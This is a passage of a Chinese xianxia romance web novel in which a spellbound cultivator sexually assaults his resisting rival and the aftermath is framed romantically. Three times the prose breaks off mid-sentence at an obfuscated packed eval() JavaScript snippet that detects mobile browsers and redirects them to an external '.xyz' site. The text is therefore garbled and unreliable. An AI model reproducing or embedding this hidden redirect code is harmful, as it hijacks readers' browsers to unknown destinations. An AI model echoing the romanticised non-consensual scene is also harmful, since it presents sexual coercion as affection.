在那些通俗话本的描述里,灵修确实是需要解衣带的。 虽然好像听起来……也不是那么正常? 但和帮宁霜尘涂抹药膏相比,叶云溪更能接受帮他解衣带。 尽管如此,在朝宁霜尘走过去之前,他还是从几案上顺手拿了一罐润雪膏。 宁霜尘仍盘腿坐在那里,双目微闭,长睫似沾满雨露的蝶羽,他的脸似乎比刚才更烫,外袍的颜色似乎也比刚才更深。 还未靠近,便能感受到一阵扑面而来的热意。 叶云溪酝酿了片刻道:“秘籍上说需要解衣带,正好你的衣袍也湿了,那我帮你解了?” 不说话就是默认。 叶云溪慢慢把手伸向宁霜尘的衣带,霜华宗的宗服是雪青色的,外袍衣带都是一样的颜色,只不过外袍上暗纹流动,而衣带上则绣着金线。 宁霜尘一动不动,任由他解着衣带,衣带解开,外袍也跟着随之滑落,最后是白色的里衣。 直至眼前的身体完全暴露在他的视野里。 宁霜尘的身上亦是汗水涔涔,结实的胸膛,紧致的腰腹,无一不渗着热汗。 看着他臂膀间滚落的汗珠,叶云溪忽觉一阵口干舌燥。 他不由自主伸出手去,指尖还未触碰到对方,刚至中途,面前的人猛地睁开眼来,一双深不见底的眸子定定地看着他。 叶云溪顿时怔住,回想自己方才的举动,心里莫名有些心虚,眨了下长睫道:“你……醒了?” 宁霜尘仍是沉默不语,只有眼睛一眨不眨地盯着他,如一潭幽邃的深渊。 叶云溪清了下嗓子,正准备解释一下,手腕忽然被捉住,面前的人向他靠了过来,离他越来越近。 下一刻,他直接被宁霜尘按倒在了地上。 躺在地上的叶云溪:嗯??? 这是怎么回事? 这人到底有没有醒? 思忖间,那张脸在眼前逐渐放大,视线从他的眼睛缓缓移向他的嘴唇。 他这才注意到,宁霜尘暗沉沉的眸子里似乎多了一抹绯色。 叶云溪察觉不对,皱着眉喊了一声:“宁霜尘?” 面前的人依然没有回应,反而朝他缓缓靠近,带着灼意的气息洒落在他的正上方。 叶云溪怔愣了下,急忙别过了脸。 “等等!” 想不到中了魅术的宁霜尘竟然如此主动。 叶云溪一时面露臊意。 他还没有做好十足的准备。 见宁霜尘在他的喝止声中停下,叶云溪红着脸,结结巴巴地说道:“等、等一下,我去帮你拿润雪膏……” 都到了现在这一步,还是照秘籍上的步骤来为好。 刚要起身,却又被宁霜尘按了回去,高大的身影低俯下来,将他牢牢困住,宽大的手掌滑向他的腰畔。 也、也不用这么着急吧? 叶云溪滚了滚喉咙:“你、你先别急,我先去拿……” 话还没说完,那双手刷地扯下了他的衣带,叶云溪脸色陡然一变。 宁霜尘不会是想…… 意识到他接下来可能想要做什么,叶云溪心中顿时警铃大作,立马挣扎起来,试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706501|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图将宁霜尘从面前推开。 却不想他越是挣扎,宁霜尘越是紧紧捉着他,甚至直接将他的双手扣在头顶。 叶云溪的后背蓦地生出一阵寒意,彻底慌了神,颤着声恶狠狠地放话:“宁霜尘,你要是敢对我……我就……” 话语中却是一点儿威慑的气势都没有。 没等他把话说完,宁霜尘俯身下来,将他衣袍扯掉的同时,毫不犹豫地封住了那两片柔软的唇。 身下一凉,叶云溪立时瞳孔一震。 为了帮宁霜尘解除魅术和他灵修是一回事,灵修时处于下面的位置又是另一回事。 想不到平日里冷静从容的宁霜尘失控起来如此可怕。 叶云溪内心不由一阵慌乱。 不对,宁霜尘本来就是无耻之徒! 有什么东西猝不及防挤了进来,他瞪大双眼,眼中满是惊恐。 主动权在他的惊慌中完全丧失。 叶云溪越是挣扎,按住手腕的力道越重,一瞬间,陌生的感觉侵遍全身。 “宁霜尘……你给我起开!” “宁霜尘……你这个混蛋!” “宁霜尘……呜!” 叶云溪感觉自己就像一条架在火堆上的烤鱼,翻过来翻过去,整个人融化在汹涌的热潮里。 从一开始的生气怒骂,到后面的苦苦哀求。 最后,只剩下了一串被撞散的呜咽声,断续地,细碎地,回荡在淡淡幽香飘散的寝殿中。 …… 不知过了有多久,意识终于从迷蒙中苏醒。 宁霜尘缓缓掀起眼皮,隐约中,他好似做了一个令人沉沦的梦。 他梦见了叶云溪。 然后呢? 梦境中断。 宁霜尘睁眼看着头顶,那间偌大空荡的寝殿不见了,取而代之的是一望无垠的天穹。 他好像正躺在一棵桃花树下,身下是柔软的草地,四周是一片绚丽烂漫的桃花林,花瓣随风吹落,在半空中打着旋儿,慢慢飘落下来。 宁霜尘盯着盛放的花枝愣了会儿神,抬手接住飘落的花瓣,手臂上的抓痕映入眼来。 他停顿了一下,缓了缓转过视线,紧接着,便看见了缩在他身侧的叶云溪。 像一只瘦弱可怜的小猫似的,微偏着头,蜷着身体依偎在他的怀里。 宁霜尘垂下眼眸,看着他身上被撕成碎片的衣袍,神色登时一怔。 记忆瞬间回笼。 不是梦。 都是真的。 这一刻,宁霜尘全都记了起来。 叶云溪帮他找解除魅术的方法。 叶云溪说想要解除魅术只能灵修。 叶云溪试图帮他修炼。 叶云溪为他解开衣带。 然后…… 他把人狠狠欺负了一顿。 身旁的人微闭着眼,似是哭得太久,眼圈仍是红红的,白皙的颈间全是斑驳错乱的痕迹。 这下完了。 招惹到了最不该招惹的人。 宁霜尘头疼地按了按眉心。 就在这时,怀里的人蜷起的指尖微微动了一下,轻颤着长睫缓慢地睁开了眼。 23.第二十三章 头好沉。 眼皮也好沉。 叶云溪只觉得整个人昏昏沉沉,全身上下跟被碾过了似的,又酸又痛,让人一根手指头都不想动。 意识已经逐渐恢复,眼睛却怎么也睁不开。 叶云溪艰难地动了下嘴唇,嘴唇也很干,好像还破了点皮,轻轻一扯便带来丝丝痛意。 在努力掀了好几次眼皮后,叶云溪终于在昏沉中睁开了眼。 他微蜷了蜷指尖,试图抬起手腕,却发现使不上半点儿力气。 眼前的视野渐渐清明,紧接着,一张熟悉的脸映入眼帘。 是宁霜尘。 这一瞬间,所有发生过的画面如排山倒海般涌入脑中。 他帮宁霜尘寻找解除魅术的办法。 他为了救宁霜尘主动与他灵修。 他被宁霜尘按在地上。 然后…… 脑子里的画面越是清晰,越是令他愤怒不已。 叶云溪微微瞪圆了眼,看向那张脸的目光透着凶狠,眸底怒气翻滚。 宁、霜、尘!!! 他变成如今这副模样,全都是拜宁霜尘所赐! 宁霜尘对上怀中人的视线,从他的眼里看出怒意,默了下,十分心虚地开口:“你……感觉怎么样?” 还敢问他怎么样! 他还能怎么样。 他差点就被…… 后面的事叶云溪不敢想下去。 如果不是宁霜尘突然晕过去,他甚至怀疑自己可能会死在那里。 身为堂堂云岚宗少宗主,他几时被这般羞辱过。 更遑论还是被他毕生的宿敌。 叶云溪越想越生气,面红耳赤地瞪着他,“你……” 一开口,却发现嗓子跟被刀割了一般,声音沙哑得不行。 现在的他浑身就如同散架了一样,没有一处完好的地方,腿也痛,腰也痛,身后某处更是难以描述。 刚睁眼时只觉朦胧昏沉,待到彻底清醒之后,身上的痛意反而愈加明显起来。 一想到这些都是宁霜尘造成的,叶云溪心中怒气更甚,再低头发觉自己正倚在宁霜尘怀里,更是猛地将人一推,从他旁边摇摇晃晃起身。 刚站起来,又差点跌了回去。 他勉强站稳脚跟,双腿由于无力微微发颤。 不知不觉中,有什么黏黏糊糊的东西流了下来。 叶云溪愣了一下,反应过来那是什么后,脸色噌的一红。 他一脸盛怒地看向宁霜尘,眼底因为羞愤漫起水汽,拧着双眉咬牙切齿道:“宁霜尘!我要杀了你!” 话音落下,叶云溪握紧拳头向宁霜尘揍去,却不想双腿一软,拳头挥了个空,还没碰到对方分毫便整个人扑向了地面。 在快要摔倒之前,一只有力的手臂先一步捞起了他,并顺势将他打横抱起揽在怀中。 被突然抱起来的叶云溪就像一只应激的猫,张牙舞爪,浑身炸毛,又凶又可爱,好似逼急了就会立马咬人。 叶云溪确实也咬了他。 双脚悬空,整个人被抱离地面,让叶云溪不禁又想起了他们在寝殿里发生的那些事。 他对此仍然心有余悸,不免有些慌张。 但又无法挣脱,只能不停地捶打宁霜尘的胸膛,“放开我!放开!宁霜尘,你给我放开!” 可宁霜尘仍是不为所动,情急之下,叶云溪于是狠狠咬上了他的肩膀。 本以为宁霜尘会直接把他扔在地上,却不想宁霜尘并没有对他做出任何举动,只在被他咬上时很轻地皱了下眉。 见对方眉头紧锁,叶云溪似泄了气般,慢慢松开了嘴。 便在这时,后颈忽地一麻,他浑身像被定住了似的,偏着头靠在宁霜尘的怀里,无法动弹,只有眼珠勉强可以转动。 叶云溪很快反应过来,他这是被宁霜尘施了定身术。 他就知道宁霜尘刚刚都是装的! 没对他动手只是没找到合适的时机而已。 不过…… 宁霜尘为什么能施展定身术? 他的修为恢复了?能使用灵力了? 叶云溪满脑都是疑问。 是因为他们灵修了吗? 可是他为什么没有? 不知道是不是因为身体太过疲惫,叶云溪暂时还没有感受到体内灵力的波动。 正思忖着,这时,抱着他的宁霜尘忽然开了口。 声音自他的耳边飘来,不疾不徐,语气听起来极为认真。 “我知道我对你做了不该做的事,我也知道你那么做是为了救我。” “抱歉,我会负责的。” 知道自己是为了救他还对他这么过分! 谁要他负责了? 叶云溪蹙紧了眉,耳廓却是泛起热意。 他听着来自对方胸腔里的心跳声,不知为何,心里却莫名浮起一丝烦躁。 宁霜尘没再继续说下去。 两人一起走在桃花林里。 此地与上次幻象中的花林十分相似,一眼望去,全是层层叠叠、连绵交错的花枝。 也不知他们如今是否离开了崖底。 想起方才那些黏糊糊的东西,宁霜尘决定先找一个靠近水源的地方,帮叶云溪好好清理一下。 他虽然恢复了些许修为,可也仅仅只能施展一下简单的术法,尚且用不了需要更多灵力的洁净术。 宁霜尘抱着叶云溪在桃花林中走了许久一段路,终于在前方看见了一片湖水。 湖水清澈见底,湖边绿草茵茵,离湖水不远的地方还有一个小小的山洞,洞口野花成片。 “我们休息一会儿?” 宁霜尘说着解开定身术,叶云溪却没有反应,低头一看,原来是已经睡着了。 许是太累了,醒来又消耗了太多精力,怀里的人抵挡不住困意便睡了过去。 他睡着时脸依然红红的,眼眶也红红的,纤密的睫毛仍挂着泪珠,靴袜不知道哪里去了,露出一双白得晃眼的脚。 一副惹人怜惜的脆弱模样。 宁霜尘将他身上的外袍裹紧了一些。 这件事说到底是他不对,如果不是他中了魅术,就不会变成后来失控的局面。 但为了救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720840|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,叶云溪抛去宿敌的身份,主动和他灵修。 这倒是他没想到的。 这个嘴硬心软的人…… 宁霜尘看了眼怀中人安静的睡颜,不自觉轻轻扯了下唇。 似怕将他吵醒一般,他放轻了迈开的脚步,缓缓走向开满野花的山洞。 于是,等到叶云溪再次醒来,眼前又变成了一个全然陌生的地方。 薄薄的日光从洞顶交错的枝叶间倾泻下来,盛放的桃花花枝随风摇曳在头顶,洞口是开着各色野花的草地。 他身上的衣袍好似被换过了,换成了雪白的里衣,身下则铺着一件雪青色的外袍。 叶云溪微微愣了下神,正要起身,突然察觉到身后人的动作,一阵面红耳赤。 好像什么东西在里面。 难怪他觉得后面凉凉的。 还有一种不可言说的异样感。 光天化日之下,居然…… 叶云溪以为宁霜尘又要对他做那种事,一张脸涨得通红,压着嗓子怒骂道:“混蛋!滚!” 这一开口,才发现身上的定身术已经解了。 他试图扭身再次出手,却被宁霜尘的另一只手制住,强行摁了回去。 宁霜尘制止的动作虽然强硬,嗓音却十分温柔:“别动,我在帮你清理,很快就好了。” 清理? 还能清理什么。 只有宁霜尘在里面留下来的…… 那种奇怪的感觉又一次涌了上来,让尚未反应过来的叶云溪险些溢出了声。 此刻的他就像是砧板上的鱼,动也不是,不动也不是,只能咬紧嘴唇,将红得滴血的脸深埋下去。 然后在心里暗骂。 宁霜尘! 你这个大坏蛋! 你这个大混蛋! 卑鄙!无耻!下流! 叶云溪红着眼眶暗自骂了个遍。 于是,宁霜尘刚帮他清理完,便得到了他充满怒气的一个字。 “滚!” 叶云溪低埋着脸,双颊通红,根本不敢抬头。 宁霜尘当然没有滚。 不仅没滚,他还将衣袍仔仔细细给叶云溪穿好,这是他之前洗干净后放在储物袋里的云岚宗宗服。 虽然不清楚他们醒来为什么会在这个地方,但庆幸的是,他们的所有东西都还在,包括他的储物袋,也包括那一卷灵修秘籍。 他怕叶云溪看见秘籍后会更生气,所以把它和其他东西一起放进了储物袋里。 叶云溪仍埋着脸,微蜷着身体,看样子并不想搭理他。 宁霜尘从储物袋里拿出装有丹药的玉瓶,又把装满水的水囊放在他的面前,缓了缓说道:“你受了点伤,这丹药吃了应该会好得快些。” 受伤? 什么受伤? 他又没有受伤,哪里需要吃什么丹药。 很快,叶云溪又想起了什么,耳根蓦地一阵发烫。 他受伤的地方还能是哪里。 只有…… 想到此处,叶云溪一时又羞又恼,再次怒骂道:“滚!滚开!有多远滚多远!” 24.第二十四章 这已经不知道是今天听见的第几个滚字了。 宁霜尘虽觉无奈,却也并没有因此失去耐心,是他理亏在先,不管叶云溪说什么做什么,都是他该承受的。 他把丹药和水囊一起留下,看了眼那道微蜷的身影,知道叶云溪这会儿还在生气,只将一件外袍轻轻披在他的身上,便转身出了山洞。 伴随着洞口的脚步声远去,过了好一会儿,叶云溪才缓缓抬起了脸。 这次宁霜尘真的滚了。 不知为何,他的心里依然不大畅快。 让他滚就真的滚了? 这人什么时候这么听话了? 倒显得他多在意这件事一样。 叶云溪也不知道自己在烦躁什么。 宁霜尘捉弄他他不高兴,宁霜尘太听话他也不高兴。 好像所有事只要与宁霜尘有关,他的心情便会受到影响,变得心烦意乱,变得起伏不定。 确定宁霜尘离开后,叶云溪在山洞里慢慢坐起身来。 身上的衣袍全都换了,白色里衣外罩了件浅碧色的外袍,腰间系着深绯色的衣带。 是他的云岚宗宗服。 看起来存放得很好,衣摆袖角一条褶子都没有。 身体好像也被宁霜尘擦洗过了,没了一开始的黏糊感,相反清爽干净了许多。 等等…… 宁霜尘为他擦洗? 那他岂不是都被看光了??? 念及此处,叶云溪微微蹙了下眉,面露薄红,转而又想起他们连更亲密的事情都做过了,整张脸瞬间从脸颊红到了耳根。 可恶的宁霜尘! 趁他睡着占他便宜! 真是太无耻太卑鄙了! 叶少宗主骂来骂去,就只会这么几句。 洞外的天气似乎不错,阳光肆意洒落,连小小的山洞也变得亮堂起来,洞顶处有一个小口,从上方伸进来一枝盛放的桃花。 也不知道这里是什么地方,他们有没有从崖底出去。 叶云溪将宁霜尘赶出脑中,换了个稍微舒服点的姿势,试着闭眼调整了一下气息。 有一股温热的灵力似在他的丹田凝聚,随后缓缓游走全身,像一股涓涓细流,自丹田处逐渐流向四肢百骸。 他不急不慢地吐息纳气,眉头跟着慢慢舒展,仿佛打通了所有经脉一般,全身在这一瞬间放松下来。 是他的灵力! 他的修为恢复了! 叶云溪不由地睁开双眼,眸光闪烁,眼底溢满喜悦之色。 他的修为终于恢复了! 看来霁月真君没有欺骗他。 灵修真的可以恢复修为。 叶云溪低头看向自己的双手,剑指捏了个诀,指尖凝出灵气,指向洞顶上方的花枝,枝叶摇动,淡粉色的花瓣随之飘落。 修为确实恢复了。 叶云溪不禁喜形于色,凝出的灵气又指向生长在洞口的野草,一抹青光掠过,叶片顿时一分为二。 他在山洞里试了好几次,却慢慢凝起了眉,从喜悦之中冷静了下来。 因为他发现,不论他怎么试,都只能聚起一丁点儿灵力,顶多施展几个简单的术法,和从前相比远远不及。 修为恢复了,却又没完全恢复。 这是怎么回事? 难道还要继续灵修才行? 叶云溪拧着眉回忆了一下秘籍的内容。 秘籍上并没有说到底需要修炼多少次才行,只说待到修炼圆满,修为即可恢复,第三个月满之夜便能离开崖底。 月满之夜即月圆之夜,每个月只有一次。 第三个月满之夜…… 也就是说,需要三个月? 不会吧…… 还要修炼这么久? 叶云溪光是想想便忍不住皱眉。 让他和宁霜尘灵修三个月…… 若是每次都跟第一次一样。 还不如直接让他去死。 仅这么一次,他便已经彻底后悔了。 这要让他们再灵修几次,叶云溪怀疑,他能不能活着离开崖底都成问题。 可如果不灵修,他的修为就无法完全恢复…… 叶云溪又一次陷入两难。 他看向山洞外,这会儿夕阳已落至林梢,天色渐晚,却不见宁霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726545|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘的人影。 天都快黑了。 这人怎么还没回来。 他说让他滚还真就滚了? 叶云溪不禁皱了皱眉,正在想这人不会不回来了吧,便在此时,山洞门口传来了熟悉的脚步声。 抬头看去,正是从外面回来的宁霜尘。 看到他,叶云溪立时又沉下了脸,把头扭向一边,装作没看见的样子。 宁霜尘手里提着两条收拾过的鱼,没进到洞内,只走到洞口往里的位置便停了下来。 山洞仍和他出去的时候一样,叶云溪还是坐在那个位置,丹药和水囊似乎没有动过,仍然放在原来的地方。 宁霜尘扫了一眼,看出来叶云溪还在生气,拿出储物袋里的锅具支在洞口,主动说道:“我刚到附近转了转,顺道在湖里捉了两条鱼。” 只是去捉鱼? 去了这么久? 心里这么想着,叶云溪蹙着眉,忍不住嘀咕了句:“这也太久了。” 声音虽然很小,却刚好飘进宁霜尘的耳朵里。 方才还一直叫他滚,这会儿又怪他离开久了? 早已摸透了叶少宗主的脾气,宁霜尘不仅没有为此感到不高兴,反而因为他的别扭微扯了下唇。 至少叶云溪肯搭理他了。 宁霜尘接着说道:“我还去了趟桃花林的深处,在那里看见了一间草屋,里面好像有人居住过的痕迹。” 他本来打算进去看看,但见天色已晚,担心叶云溪一个人待着怕黑,便急忙提着鱼赶回了山洞。 桃花林深处?草屋? 另一边的叶云溪听见这几个字,瞬间竖起了耳朵。 难怪宁霜尘去了那么久,原来是发现了新的地方。 所以就这样把他一个人扔在这里? 呵。 宁霜尘猜到了他在想什么,又道:“我没进去看,等你的伤……”说到这里,顿了一下,“等你的伤好了,我们再一起去。” 听出他话语中的停顿,叶云溪耳廓微红,随后又扭过头地冷哼了一声。 他的伤是谁弄的? 这会儿倒来假惺惺当好人!